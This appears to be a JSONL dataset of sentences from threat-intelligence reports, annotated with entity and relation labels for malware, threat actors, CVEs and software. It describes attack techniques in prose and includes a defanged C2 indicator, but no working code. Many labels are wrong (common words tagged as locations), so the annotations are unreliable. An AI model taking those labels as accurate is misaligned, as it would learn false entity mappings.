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{"id":6771,"text":"Opening document starts a template injection technique for loading the document template from the internet.","entities":[],"relations":[],"Comments":[]}
{"id":3878,"text":"These include Trend Micro endpoint solutions such as Trend Micro\u2122 Smart Protection Suites and Worry-Free\u2122 Business Security, which can protect users and businesses from these threats by detecting malicious files, well as blocking all related malicious URLs.","entities":[{"id":49731,"label":"identity","start_offset":14,"end_offset":25},{"id":49732,"label":"identity","start_offset":53,"end_offset":64},{"id":49733,"label":"SOFTWARE","start_offset":66,"end_offset":89},{"id":49734,"label":"SOFTWARE","start_offset":94,"end_offset":104},{"id":49735,"label":"SOFTWARE","start_offset":106,"end_offset":123}],"relations":[],"Comments":[]}
{"id":864,"text":" For readers that might be unfamiliar with ransomware, it\u2019s a type of malware that is responsible for encrypting a user\u2019s files with a key known only to the attackers.","entities":[],"relations":[],"Comments":[]}
{"id":7596,"text":"Three files extracted from SFXRAR  Figure 11.","entities":[],"relations":[],"Comments":[]}
{"id":34,"text":"This has been true for over a decade, although the mechanisms available to criminals have shifted in that time.","entities":[],"relations":[],"Comments":[]}
{"id":5221,"text":"Our paper, \u201cA Security Analysis of the Data Distribution Service (DDS) Protocol,\u201d includes short- and long-term mitigation best practices and recommendations, as well as a consideration for adopting a shift-left approach.","entities":[],"relations":[],"Comments":[]}
{"id":3890,"text":"For mitigating and responding to an attack, organizations must practice good cyber hygiene by updating software, implementing an allow listing, and enabling strong spam filters.","entities":[],"relations":[],"Comments":[]}
{"id":1360,"text":"To determine how this vulnerability was exploited, we analyzed the patch that developers added to OctoberCMS version 1.0.472 to mitigate the CVE-2021-32648 vulnerability.","entities":[{"id":46690,"label":"vulnerability","start_offset":141,"end_offset":155},{"id":46692,"label":"SOFTWARE","start_offset":98,"end_offset":108}],"relations":[{"id":212,"from_id":46692,"to_id":46690,"type":"has"}],"Comments":[]}
{"id":6757,"text":" In March, we came across an email with a malware attachment that used the Gamaredon group\u2019s tactics.","entities":[],"relations":[],"Comments":[]}
{"id":13193,"text":"Based on the malware version number, this backdoor\u2019s first version was developed in or before 2011.","entities":[],"relations":[],"Comments":[]}
{"id":2749,"text":" Vulnerability Details  CVE-2014-6271 exists in all versions of Bash and is related to how environment variables are processed when the shell starts up.","entities":[{"id":47993,"label":"vulnerability","start_offset":24,"end_offset":37},{"id":47994,"label":"tools","start_offset":64,"end_offset":68}],"relations":[{"id":369,"from_id":47994,"to_id":47993,"type":"has"}],"Comments":[]}
{"id":12541,"text":"The exploit chain combined an RCE in WebKit exploiting CVE-2021-1789 which was patched on Jan 5, 2021 before discovery of this campaign and a 0-day local privilege escalation in XNU (CVE-2021-30869) patched on Sept 23, 2021.","entities":[{"id":39026,"label":"location","start_offset":64,"end_offset":68},{"id":39028,"label":"location","start_offset":127,"end_offset":135},{"id":39029,"label":"location","start_offset":136,"end_offset":139},{"id":39031,"label":"attack-pattern","start_offset":154,"end_offset":174}],"relations":[],"Comments":[]}
{"id":5885,"text":"Yeah, sure, absolutely.","entities":[],"relations":[],"Comments":[]}
{"id":1686,"text":"While investigating Reaver we recently also discovered a new variant of the SunOrcal malware family.","entities":[{"id":45095,"label":"malware","start_offset":20,"end_offset":26},{"id":5004,"label":"malware","start_offset":76,"end_offset":84}],"relations":[],"Comments":[]}
{"id":4463,"text":"NSO Group continues to pose risks across the Internet ecosystem.","entities":[{"id":50247,"label":"threat-actor","start_offset":0,"end_offset":9}],"relations":[],"Comments":[]}
{"id":1125,"text":" Only the first of the examples had the mutex associated with a vast majority of malware samples.","entities":[],"relations":[],"Comments":[]}
{"id":3330,"text":"The script then modifies the original JavaScript or HTML content and delivers it to website visitors.","entities":[],"relations":[],"Comments":[]}
{"id":13373,"text":"Like previous websites we\u2019ve seen set up by this actor, this website has a link to their PGP public key at the bottom of the page.","entities":[{"id":41617,"label":"location","start_offset":93,"end_offset":99},{"id":41618,"label":"tools","start_offset":125,"end_offset":129}],"relations":[],"Comments":[]}
{"id":5385,"text":"These compromised devices periodically connect to C&C servers that are themselves hosted on compromised WatchGuard devices.","entities":[],"relations":[],"Comments":[]}
{"id":3447,"text":" Table 1 shows the commands that would be executed in the event of successful exploitation.","entities":[],"relations":[],"Comments":[]}
{"id":2174,"text":" Cortex XDR Agent 7.5 and higher (with content version 540-92526) prevents attempts to exploit this vulnerability with the Behavioral Threat Protection module.","entities":[{"id":47310,"label":"SOFTWARE","start_offset":1,"end_offset":21}],"relations":[],"Comments":[]}
{"id":1517,"text":" If the file does not receive any data within 30 seconds it will send a \"xy\" response back to the server.","entities":[],"relations":[],"Comments":[]}
{"id":13135,"text":"They often contain hundreds of queries to process, which may have been written by lawyers who don\u2019t fully understand the subject matter.","entities":[],"relations":[],"Comments":[]}
{"id":11820,"text":"Android App: https:\/\/www.virustotal.com\/gui\/file\/5d3ff202f20af915863eee45916412a271bae1ea3a0e20988309c16723ce4da5\/detection  Android App C2: communication-shield[.]site cdsa[.]xyz","entities":[],"relations":[],"Comments":[]}
{"id":9068,"text":"An attacker mining Ant Share Defending against RATANKBA","entities":[{"id":28000,"label":"malware","start_offset":47,"end_offset":55}],"relations":[],"Comments":[]}
{"id":914,"text":" It\u2019s also interesting to note that each time PClock2 scans a directory or encrypts a file, it makes an HTTP POST request to the C2 server.","entities":[{"id":46436,"label":"Infrastucture","start_offset":129,"end_offset":138},{"id":46435,"label":"malware","start_offset":46,"end_offset":53}],"relations":[{"id":189,"from_id":46435,"to_id":46436,"type":"beacons-to"}],"Comments":[]}
{"id":2045,"text":" Unfortunately, this specific string is not completely unique to x4k, and is instead found on several GitHub repositories as part of a technique to allow a running executable to delete itself from disk through renaming primary data streams within the file to :wtfbbq.","entities":[{"id":47135,"label":"threat-actor","start_offset":65,"end_offset":68},{"id":47136,"label":"SOFTWARE","start_offset":102,"end_offset":108}],"relations":[],"Comments":[]}
{"id":3541,"text":"A list of indicators of compromise (IoCs) related to Blackgear is in this appendix.","entities":[{"id":49317,"label":"threat-actor","start_offset":53,"end_offset":62}],"relations":[],"Comments":[]}
{"id":6691,"text":"On any given day, Google's Threat Analysis Group (TAG) is tracking more than 270 targeted or government-backed attacker groups from more than 50 countries.","entities":[],"relations":[],"Comments":[]}
{"id":8308,"text":"Like much of their tooling, HYPERSCRAPE is not notable for its technical sophistication, but rather its effectiveness in accomplishing Charming Kitten\u2019s objectives.","entities":[{"id":25618,"label":"location","start_offset":5,"end_offset":9},{"id":25620,"label":"threat-actor","start_offset":135,"end_offset":150}],"relations":[],"Comments":[]}
{"id":14237,"text":"Following Winnti's Trails The GitHub account used by the threat actor was created in May 2016.","entities":[{"id":48426,"label":"identity","start_offset":10,"end_offset":16},{"id":48428,"label":"TIME","start_offset":89,"end_offset":93},{"id":48427,"label":"SOFTWARE","start_offset":30,"end_offset":37}],"relations":[],"Comments":[]}
{"id":628,"text":"Windows users should take the following general steps to protect themselves:","entities":[{"id":46217,"label":"SOFTWARE","start_offset":0,"end_offset":7}],"relations":[],"Comments":[]}
{"id":4706,"text":"We use our research to continuously improve the safety and security of our products and share this intelligence with our industry peers.","entities":[],"relations":[],"Comments":[]}
{"id":13776,"text":"The decryption-execution-encryption flow in the shellcode execution routine  Figure 5.","entities":[],"relations":[],"Comments":[]}
{"id":7745,"text":"Figure 15.","entities":[],"relations":[],"Comments":[]}
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{"id":11036,"text":"If you have communicated with any of these accounts or visited the actors\u2019 blog, we suggest you review your systems for the IOCs provided below.","entities":[],"relations":[],"Comments":[]}
{"id":3484,"text":"The format used by Protux\u2019s latest version is now similar to Marade\u2019s, as shown in Figure 6.","entities":[{"id":10580,"label":"malware","start_offset":19,"end_offset":25},{"id":49291,"label":"malware","start_offset":61,"end_offset":67}],"relations":[],"Comments":[]}
{"id":8303,"text":"We have seen it deployed against fewer than two dozen accounts located in Iran.","entities":[],"relations":[],"Comments":[]}
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{"id":4725,"text":"We assessed that a surveillance vendor packaged and sold these technologies.","entities":[],"relations":[],"Comments":[]}
{"id":2026,"text":"The second sample, on the other hand, is far more obfuscated, and is executed in memory by a packer rather than a full-scale loader.","entities":[],"relations":[],"Comments":[]}
{"id":3093,"text":" Vulnerabilities  These vulnerabilities present a unique situation because they ultimately are hardware-based vulnerabilities.","entities":[],"relations":[],"Comments":[]}
{"id":2138,"text":"Palo Alto Networks customers who have deployed vulnerability signatures in content release version 8057 released on August 24, 2018, which include ID 33948 Name: Apache Struts 2 Remote Code Execution Vulnerability, are protected against currently known exploits against that vulnerability.","entities":[{"id":47271,"label":"TIME","start_offset":116,"end_offset":131},{"id":47270,"label":"identity","start_offset":0,"end_offset":18},{"id":47272,"label":"SOFTWARE","start_offset":162,"end_offset":177},{"id":47273,"label":"vulnerability","start_offset":178,"end_offset":213}],"relations":[],"Comments":[]}
{"id":4978,"text":"We've seen this technique used against journalists and other unidentified targets, and alerted those users when possible.","entities":[],"relations":[],"Comments":[]}
{"id":5017,"text":"Here is a deeper look at the campaign activity TAG has observed and the actions the team has taken to protect our users over the past few weeks: APT28 or Fancy Bear, a threat actor attributed to Russia GRU, was observed targeting users in Ukraine with a new variant of malware.","entities":[{"id":51078,"label":"location","start_offset":239,"end_offset":246},{"id":51074,"label":"identity","start_offset":47,"end_offset":50},{"id":51075,"label":"threat-actor","start_offset":145,"end_offset":150},{"id":51076,"label":"threat-actor","start_offset":154,"end_offset":164},{"id":51077,"label":"identity","start_offset":195,"end_offset":205}],"relations":[{"id":1035,"from_id":51076,"to_id":51075,"type":"duplicate-of"},{"id":1036,"from_id":51075,"to_id":51077,"type":"attributed-to"},{"id":1037,"from_id":51075,"to_id":51078,"type":"targets"}],"Comments":[]}
{"id":609,"text":"Figure 2: Hancitor malspam example from February 2017.","entities":[{"id":44797,"label":"malware","start_offset":10,"end_offset":18},{"id":44798,"label":"TIME","start_offset":40,"end_offset":53}],"relations":[],"Comments":[]}
{"id":1456,"text":"The distribution of the number of apps sharing the same key is shown below.","entities":[],"relations":[],"Comments":[]}
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{"id":842,"text":"Typically, attacks against the kernel are used in conjunction with code execution attacks so that an attacker can target a limited privilege user but ultimately gain full control over the system.","entities":[],"relations":[],"Comments":[]}
{"id":5198,"text":"Meanwhile, the vulnerabilities we found on the configuration attack surface can be abused to affect the DDS developer or system integrator, potentially compromising the integrity of the software supply chain.","entities":[],"relations":[],"Comments":[]}
{"id":3056,"text":" Figure 1 AntiVirus for Android\u2122 in the Google Play Store  ","entities":[{"id":48136,"label":"malware","start_offset":10,"end_offset":32},{"id":48137,"label":"SOFTWARE","start_offset":40,"end_offset":57}],"relations":[],"Comments":[]}
{"id":3331,"text":"        Figure 27.","entities":[],"relations":[],"Comments":[]}
{"id":3094,"text":"All three stem from issues in modern processors and are known to affect Intel and ARM chips.","entities":[],"relations":[],"Comments":[]}
{"id":11429,"text":"While vulnerability research is an important contributor to online safety when that research is used to improve the security of products, vendors stockpiling zero-day vulnerabilities in secret can pose a severe risk to the Internet when the vendor itself gets compromised.","entities":[{"id":34906,"label":"tools","start_offset":67,"end_offset":73},{"id":34907,"label":"location","start_offset":116,"end_offset":124},{"id":34909,"label":"location","start_offset":193,"end_offset":196},{"id":34910,"label":"location","start_offset":241,"end_offset":247}],"relations":[],"Comments":[]}
{"id":3901,"text":"Ransomware incidents are federal crimes, according to the agency.","entities":[],"relations":[],"Comments":[]}
{"id":3960,"text":"\u00b7        C:\\Program Files\\Trend Micro\\ ams p.dat \u00b7        C:\\Oracle\\Oracle.dat \u00b7        C:\\Program Files\\McAfee\\MacAfee.dat These suspicious activities were seen via our XDR solution, which helped us monitor observable attack techniques and provided critical security alerts including anomalous file extension execution, remote execution via system tools, web shell-related activities, and potential exploit attacks.","entities":[{"id":49817,"label":"FILEPATH","start_offset":9,"end_offset":48},{"id":49818,"label":"FILEPATH","start_offset":58,"end_offset":78},{"id":49819,"label":"FILEPATH","start_offset":88,"end_offset":124}],"relations":[],"Comments":[]}
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{"id":12958,"text":"We recovered the exploit used to escape the Chrome Sandbox, but not the initial RCE exploit.","entities":[],"relations":[],"Comments":[]}
{"id":962,"text":"Registered receiver for SMS_RECEIVED  The registered receiver Rf2b reads SMS messages whenever they arrive.","entities":[],"relations":[],"Comments":[]}
{"id":14393,"text":"Pulling together deep security information from across your enterprise is what is needed to face off against such advanced and intentionally evasive attacks.","entities":[],"relations":[],"Comments":[]}
{"id":1573,"text":"Once inside a network it spreads by harvesting credentials with the Mimikatz tool as well as using hard coded credentials.","entities":[{"id":46829,"label":"tools","start_offset":68,"end_offset":76},{"id":46830,"label":"attack-pattern","start_offset":36,"end_offset":58},{"id":46831,"label":"attack-pattern","start_offset":99,"end_offset":121}],"relations":[],"Comments":[]}
{"id":5370,"text":" The writing is done by the j_save_data() function.","entities":[],"relations":[],"Comments":[]}
{"id":8537,"text":"Open source malware like Sorano and AdamantiumThief were also observed.","entities":[{"id":26383,"label":"attack-pattern","start_offset":5,"end_offset":11},{"id":26385,"label":"location","start_offset":32,"end_offset":35}],"relations":[],"Comments":[]}
{"id":3754,"text":"The exploits involving Enemybot eventually download Enemybot samples that themselves embed CVE-2022-22954 exploits for further exploitation and propagation.","entities":[{"id":11380,"label":"malware","start_offset":23,"end_offset":31},{"id":49586,"label":"vulnerability","start_offset":91,"end_offset":105},{"id":49585,"label":"malware","start_offset":52,"end_offset":60}],"relations":[{"id":837,"from_id":49585,"to_id":49586,"type":"exploits"},{"id":838,"from_id":11380,"to_id":49585,"type":"downloads"}],"Comments":[]}
{"id":809,"text":"You and your employees can also use password managers to make unique, complex passwords for each site not just a goal but a reality.","entities":[],"relations":[],"Comments":[]}
{"id":3011,"text":"Also, many gaming platforms now include a second means of authentication (typically a text sent to your phone): you can and should enable that, if at all possible.","entities":[],"relations":[],"Comments":[]}
{"id":9590,"text":"A log file is written containing a count of the emails that were downloaded.","entities":[],"relations":[],"Comments":[]}
{"id":11063,"text":"We received leads from the FBI that supported us in this investigation.","entities":[],"relations":[],"Comments":[]}
{"id":3278,"text":"Next, it starts the FFmpeg process to monitor the victim\u2019s desktop via RTMP live streaming to the cloud.","entities":[{"id":48376,"label":"SOFTWARE","start_offset":20,"end_offset":26}],"relations":[],"Comments":[]}
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{"id":1174,"text":" senna spy rock in rio 2001 virus - Subtlety.","entities":[{"id":46580,"label":"malware","start_offset":1,"end_offset":27}],"relations":[],"Comments":[]}
{"id":10698,"text":"Cyber attackers could compromise software components of third-party suppliers by inserting malicious code inconspicuously.","entities":[],"relations":[],"Comments":[]}
{"id":3092,"text":" At the time of this writing, there are no known active attacks against any of these vulnerabilities.","entities":[],"relations":[],"Comments":[]}
{"id":4726,"text":"Reporting by CitizenLab linked this activity to Candiru, an Israeli spyware vendor.","entities":[{"id":50628,"label":"identity","start_offset":13,"end_offset":23},{"id":50629,"label":"threat-actor","start_offset":48,"end_offset":55},{"id":50630,"label":"identity","start_offset":60,"end_offset":82}],"relations":[],"Comments":[]}
{"id":11833,"text":"Since mid-August, OpenSUpdater samples have carried an invalid signature, and further investigation showed this was a deliberate attempt to evade detection.","entities":[{"id":36498,"label":"malware","start_offset":18,"end_offset":30},{"id":36499,"label":"location","start_offset":74,"end_offset":77}],"relations":[],"Comments":[]}
{"id":1958,"text":"The Trend Micro\u2122 Deep Discovery\u2122 threat protection platform enables organizations to detect, analyze, and respond to modern threats such as sophisticated malware, targeted attacks, and APTs.","entities":[{"id":47082,"label":"SOFTWARE","start_offset":4,"end_offset":32}],"relations":[],"Comments":[]}
{"id":8940,"text":"      Figure 4. Malicious Javascript code inserted into 2.2.0.exe targeting Windows OS      Figure 5.","entities":[],"relations":[],"Comments":[]}
{"id":112,"text":"As you see in the image above, most cloud attacks are going to fall into one of these areas.","entities":[],"relations":[],"Comments":[]}
{"id":1295,"text":"This file is used to store a key that is later used to decrypt data received during network communications.","entities":[],"relations":[],"Comments":[]}
{"id":12007,"text":"In collaboration with YouTube, Gmail, Trust & Safety, CyberCrime Investigation Group and Safe Browsing teams, our protections have decreased the volume of related phishing emails on Gmail by 99.6% since May 2021.","entities":[{"id":37138,"label":"location","start_offset":85,"end_offset":88},{"id":37140,"label":"attack-pattern","start_offset":163,"end_offset":171}],"relations":[],"Comments":[]}
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{"id":271,"text":"We\u2019ve updated and added signatures to the WildFire analysis and Cortex XDR Prevent and Pro products to block newly discovered vulnerabilities and malware including HermeticWiper.","entities":[{"id":45961,"label":"SOFTWARE","start_offset":42,"end_offset":50},{"id":45960,"label":"malware","start_offset":164,"end_offset":177},{"id":45962,"label":"SOFTWARE","start_offset":64,"end_offset":90}],"relations":[],"Comments":[]}
{"id":5205,"text":"BAF Percentage of Attack Duration (Total experiment duration = 139s)  CVE-2021-38425 Fast-DDS, ROS 2 master branch 9.875 100.0 CVE-2021-38429 OpenDDS, ROS 2 >= 3.18.1 18.68 24.17 CVE-2021-38487","entities":[{"id":51251,"label":"vulnerability","start_offset":70,"end_offset":84},{"id":51252,"label":"vulnerability","start_offset":127,"end_offset":141},{"id":51253,"label":"vulnerability","start_offset":179,"end_offset":193}],"relations":[],"Comments":[]}
{"id":911,"text":"It should be noted that PClock takes a very long time to encrypt these files.","entities":[{"id":46433,"label":"malware","start_offset":24,"end_offset":30}],"relations":[],"Comments":[]}
{"id":13020,"text":"TAG has also continued to observe multiple ransomware brokers continuing to operate in a business as usual sense.","entities":[{"id":48838,"label":"identity","start_offset":0,"end_offset":4}],"relations":[],"Comments":[]}
{"id":8556,"text":"On any given day, TAG is tracking more than 270 targeted or government-backed attacker groups from more than 50 countries.","entities":[],"relations":[],"Comments":[]}
{"id":1076,"text":"However, most people who run Android run versions that are vulnerable.","entities":[{"id":46559,"label":"SOFTWARE","start_offset":29,"end_offset":36}],"relations":[],"Comments":[]}
{"id":2697,"text":"CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors.","entities":[{"id":45663,"label":"identity","start_offset":0,"end_offset":11}],"relations":[],"Comments":[]}
{"id":2971,"text":"But even for devices that don\u2019t, you can and should use a password manager to generate and store strong passwords for use on all devices in its vault.","entities":[],"relations":[],"Comments":[]}
{"id":14229,"text":"Any malware threat analyst will immediately recognize Line 3 in the image above as a potential PlugX-encrypted line.","entities":[],"relations":[],"Comments":[]}
{"id":13497,"text":"Although Void Balaur offers a wide range of services, the group\u2019s bread and butter is cyberespionage and information theft, selling highly sensitive information on individuals in underground forums and websites such as Probiv.","entities":[{"id":51565,"label":"threat-actor","start_offset":9,"end_offset":20}],"relations":[],"Comments":[]}
{"id":7510,"text":"The backdoor first finds out the machine IP address by querying the internet service api[.]ipify[.]org, which returns the IP address of the currently infected machine.","entities":[],"relations":[],"Comments":[]}
{"id":5982,"text":"Recently observed COLDRIVER credential phishing domains: Ghostwriter, a Belarusian threat actor, has remained active during the course of the war and recently resumed targeting of Gmail accounts via credential phishing.","entities":[{"id":18406,"label":"threat-actor","start_offset":18,"end_offset":27},{"id":18407,"label":"attack-pattern","start_offset":39,"end_offset":47},{"id":18408,"label":"tools","start_offset":57,"end_offset":68},{"id":18410,"label":"location","start_offset":142,"end_offset":145},{"id":18411,"label":"location","start_offset":146,"end_offset":149},{"id":18413,"label":"attack-pattern","start_offset":210,"end_offset":218}],"relations":[],"Comments":[]}
{"id":1342,"text":"By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.","entities":[],"relations":[],"Comments":[]}
{"id":460,"text":"Attackers do this because security software and vendors act quickly to block and take down malicious domains that malware uses.","entities":[],"relations":[],"Comments":[]}
{"id":14125,"text":"That user was doing manual activities the majority of the time.","entities":[],"relations":[],"Comments":[]}
{"id":6953,"text":"Initial spear-phishing document with a link to another malicious document     Once the victim clicks the link, it will download a document laced with a malicious macro.","entities":[{"id":21767,"label":"location","start_offset":8,"end_offset":13},{"id":21768,"label":"attack-pattern","start_offset":14,"end_offset":22},{"id":21769,"label":"location","start_offset":114,"end_offset":118}],"relations":[],"Comments":[]}
{"id":761,"text":"In this new patch, every time Internet Explorer tries to free an object, it is not freed immediately.","entities":[{"id":46346,"label":"SOFTWARE","start_offset":30,"end_offset":47}],"relations":[],"Comments":[]}
{"id":8896,"text":"Chances are, the normal file that loads the rest of PlugX uses a file name that is different from what it normally uses or is in a location where it is not usually found.","entities":[{"id":27506,"label":"location","start_offset":8,"end_offset":11},{"id":27507,"label":"location","start_offset":17,"end_offset":23},{"id":27508,"label":"malware","start_offset":52,"end_offset":57}],"relations":[],"Comments":[]}
{"id":1103,"text":"Note that while the technical implementation may not expose said functionality as a normal library, such exposure is not necessary for the types of analysis performed here.","entities":[],"relations":[],"Comments":[]}
{"id":13782,"text":" Figure 7.","entities":[],"relations":[],"Comments":[]}
{"id":2201,"text":"The video player is written to one of the following locations, based on the original filename:  The malware itself is written to the %TEMP% directory as well.","entities":[{"id":47316,"label":"FILEPATH","start_offset":133,"end_offset":139}],"relations":[],"Comments":[]}
{"id":1577,"text":" Reconnaissance  This attack does not appear to be targeted.","entities":[],"relations":[],"Comments":[]}
{"id":11653,"text":"An example of a downloaded ZIP file containing an LNK file that is used to download a malicious HTA file","entities":[],"relations":[],"Comments":[]}
{"id":5284,"text":"Our data also shows that although Cyclops Blink is a state-sponsored botnet, its C&C servers and bots affect WatchGuard Firebox and Asus devices that do not belong to critical organizations, or those that have an evident value on economic, political, or military espionage.","entities":[{"id":51332,"label":"malware","start_offset":34,"end_offset":47},{"id":51334,"label":"SOFTWARE","start_offset":109,"end_offset":127},{"id":51335,"label":"SOFTWARE","start_offset":132,"end_offset":144}],"relations":[{"id":1080,"from_id":51332,"to_id":51334,"type":"targets"},{"id":1081,"from_id":51332,"to_id":51335,"type":"targets"}],"Comments":[]}
{"id":4620,"text":"Since requests to the ASPX web shell are handled by the privileged w3wp.exe, an IIS Worker Process in the configured IIS application pool (Microsoft Exchange App pool) runs the commands in the context of NT Authority\\SYSTEM user.","entities":[{"id":50532,"label":"attack-pattern","start_offset":22,"end_offset":36},{"id":50533,"label":"FILEPATH","start_offset":67,"end_offset":75}],"relations":[],"Comments":[]}
{"id":8717,"text":"In the video, they purported to show a successful working exploit that spawns a cmd.exe shell, but a careful review of the video shows the exploit is fake.","entities":[{"id":26942,"label":"malware","start_offset":80,"end_offset":87},{"id":26943,"label":"location","start_offset":88,"end_offset":93}],"relations":[],"Comments":[]}
{"id":3073,"text":" Figure 6 The App Integrates the BitDefender AV Engine for Premium Users  ","entities":[{"id":9395,"label":"SOFTWARE","start_offset":33,"end_offset":44}],"relations":[],"Comments":[]}
{"id":10738,"text":"How REDBALDKNIGHT Employs","entities":[{"id":32819,"label":"threat-actor","start_offset":4,"end_offset":17}],"relations":[],"Comments":[]}
{"id":10610,"text":"We\u2019ve had a long-standing policy to send users warnings if we detect that they are the subject of state-sponsored phishing attempts, and have posted periodically about these before.","entities":[{"id":32364,"label":"location","start_offset":12,"end_offset":16},{"id":32365,"label":"location","start_offset":79,"end_offset":82},{"id":32366,"label":"attack-pattern","start_offset":114,"end_offset":122},{"id":32367,"label":"location","start_offset":133,"end_offset":136}],"relations":[],"Comments":[]}
{"id":9501,"text":"During our investigation, we also saw malicious websites that distribute fake Adobe Flash Player updates that were actually delivering C++ downloaders.","entities":[],"relations":[],"Comments":[]}
{"id":3610,"text":"Trend Micro\u2019s endpoint solutions such as Trend Micro\u2122 Smart Protection Suites and Worry-Free\u2122 Business Security protect end users and businesses from these threats by detecting and blocking malicious files and all related malicious URLs.","entities":[{"id":49389,"label":"identity","start_offset":0,"end_offset":11},{"id":49390,"label":"identity","start_offset":41,"end_offset":52}],"relations":[],"Comments":[]}
{"id":5598,"text":"On April 21st our WildFire analysis cloud detected a new Android Trojan, which is currently completely undetected in VirusTotal and uses a new combination of tactics to make money for the author.","entities":[{"id":17212,"label":"tools","start_offset":18,"end_offset":26},{"id":17213,"label":"location","start_offset":36,"end_offset":41},{"id":17215,"label":"location","start_offset":128,"end_offset":131},{"id":17216,"label":"location","start_offset":174,"end_offset":179}],"relations":[],"Comments":[]}
{"id":2025,"text":"The first sample is fairly rudimentary, with minimal obfuscation and typically paired with an obfuscated loader responsible for decrypting it through the use of the WinCrypt API before injecting it into memory.","entities":[{"id":45225,"label":"SOFTWARE","start_offset":165,"end_offset":173}],"relations":[],"Comments":[]}
{"id":1999,"text":"ClamAV is an open-source antivirus engine used to detect malware.","entities":[{"id":47105,"label":"SOFTWARE","start_offset":0,"end_offset":6}],"relations":[],"Comments":[]}
{"id":2799,"text":" Initial reports said that the WanaCrypt0r attack began as part of a spam\/phishing campaign.","entities":[{"id":45697,"label":"malware","start_offset":31,"end_offset":42},{"id":45698,"label":"campaign","start_offset":69,"end_offset":91}],"relations":[],"Comments":[]}
{"id":11989,"text":"We terminated 3 advertising accounts as part of our investigation into coordinated influence operations linked to Egypt.","entities":[],"relations":[],"Comments":[]}
{"id":2587,"text":"We\u2019ve also seen them solicit employees on Telegram for their login credentials at specific companies in industries including: telecom, software, gaming, hosting providers and call centers.","entities":[{"id":47772,"label":"SOFTWARE","start_offset":42,"end_offset":50}],"relations":[],"Comments":[]}
{"id":4954,"text":"We reported the bot to Telegram and they have taken action to remove it.","entities":[{"id":50979,"label":"SOFTWARE","start_offset":23,"end_offset":31}],"relations":[],"Comments":[]}
{"id":2378,"text":"StealthMutant Like StealthVector, StealthMutant, which supports both 32-bit and 64-bit operating systems, can disable ETW.","entities":[{"id":47440,"label":"malware","start_offset":0,"end_offset":13},{"id":47442,"label":"malware","start_offset":34,"end_offset":47},{"id":47441,"label":"malware","start_offset":19,"end_offset":32}],"relations":[],"Comments":[]}
{"id":6347,"text":" Figure 10 shows how the ISOs would appear when show hidden files\u201d is enabled for viewing.","entities":[],"relations":[],"Comments":[]}
{"id":274,"text":"Cortex Xpanse can assist with understanding and managing your organization\u2019s attack surface as well as identifying vulnerable resources.","entities":[{"id":45964,"label":"SOFTWARE","start_offset":0,"end_offset":13}],"relations":[],"Comments":[]}
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{"id":11805,"text":"The attackers embed javascript into phishing pages that notify them when the page has been loaded.","entities":[{"id":36410,"label":"attack-pattern","start_offset":36,"end_offset":44},{"id":36411,"label":"location","start_offset":63,"end_offset":67},{"id":36412,"label":"location","start_offset":77,"end_offset":81}],"relations":[],"Comments":[]}
{"id":2197,"text":"In the event the malware is not running in the context of either of these processes, it will exit.","entities":[],"relations":[],"Comments":[]}
{"id":9763,"text":"The previous MuddyWater version collected similar information but used a different separator:  Figure 6.","entities":[],"relations":[],"Comments":[]}
{"id":4984,"text":" We did not capture the subsequent stages, but assess the attackers did not have exploits for the current version of Chrome (91.0.4472) at that time, but instead used n-day exploits targeting Samsung Browser, which was running an older and vulnerable version of Chromium.","entities":[{"id":51042,"label":"SOFTWARE","start_offset":117,"end_offset":135},{"id":51043,"label":"SOFTWARE","start_offset":192,"end_offset":207},{"id":51044,"label":"SOFTWARE","start_offset":262,"end_offset":270}],"relations":[],"Comments":[]}
{"id":3575,"text":"Since the string \u201cConfuserEx v1.0.0-custom\u201d is present in the module property: [module: KurdishCoderProducts(\"ConfuserEx v1.0.0-custom\")]\u201d, we can surmise that the version of ConfuserEx that was used for CyaX_Sharp was indeed built outside of Git.","entities":[{"id":49359,"label":"tools","start_offset":175,"end_offset":185},{"id":49360,"label":"tools","start_offset":204,"end_offset":214},{"id":49361,"label":"tools","start_offset":243,"end_offset":246}],"relations":[],"Comments":[]}
{"id":6533,"text":"Updated on April 26, 2017, 01:39 PM (UTC-7) to add the accurate IP address.","entities":[{"id":20253,"label":"TIME","start_offset":27,"end_offset":43}],"relations":[],"Comments":[]}
{"id":10552,"text":"One notable campaign attempted to target personal accounts of U.S. government employees with phishing lures using American fast food franchises and COVID-19 messaging.","entities":[{"id":32170,"label":"location","start_offset":12,"end_offset":20},{"id":32171,"label":"location","start_offset":34,"end_offset":40},{"id":32173,"label":"attack-pattern","start_offset":93,"end_offset":101},{"id":32175,"label":"location","start_offset":144,"end_offset":147}],"relations":[],"Comments":[]}
{"id":252,"text":"Before donating money, we recommend checking whether the website is referenced and shared by the official charity or government organization.","entities":[],"relations":[],"Comments":[]}
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{"id":2425,"text":"One example of changing the Tomcat log configuration by simply submitting a URL is shown in Figure 5.","entities":[{"id":47497,"label":"SOFTWARE","start_offset":28,"end_offset":34}],"relations":[],"Comments":[]}
{"id":5518,"text":"From retailers like Target and Home Depot to government breaches at agencies including the Office of Personnel Management (OPM), and from financial organizations like Equifax to tech giants like Yahoo, billions of our personal records have been stolen by cyber-thieves over the past few years.","entities":[{"id":51527,"label":"identity","start_offset":167,"end_offset":174},{"id":51528,"label":"identity","start_offset":195,"end_offset":200},{"id":51524,"label":"identity","start_offset":20,"end_offset":26},{"id":51525,"label":"identity","start_offset":31,"end_offset":41},{"id":51526,"label":"identity","start_offset":91,"end_offset":127}],"relations":[],"Comments":[]}
{"id":1365,"text":"This effectively validates the actor\u2019s inbound password reset request, which allows the actor to then change the password  To fix this vulnerability in version 1.0.472, the OctoberCMS developer changed the line of code above to use === instead of == when comparing the values of the reset code provided by the user via an HTTP POST request.","entities":[{"id":44978,"label":"SOFTWARE","start_offset":173,"end_offset":183}],"relations":[],"Comments":[]}
{"id":2221,"text":"It proceeds to randomly select an executable file in the system32 folder, and performs process hollowing against it.","entities":[{"id":47324,"label":"attack-pattern","start_offset":87,"end_offset":104},{"id":47323,"label":"FILEPATH","start_offset":57,"end_offset":65}],"relations":[],"Comments":[]}
{"id":3870,"text":"Solutions that feature behavior monitoring, application control, email gateway monitoring, and intrusion\/detection systems can help with this.","entities":[],"relations":[],"Comments":[]}
{"id":1166,"text":"No other currently used method of analysis offers such a personal view into malware development.","entities":[],"relations":[],"Comments":[]}
{"id":12726,"text":" However, the scope of the attack remained unknown.","entities":[],"relations":[],"Comments":[]}
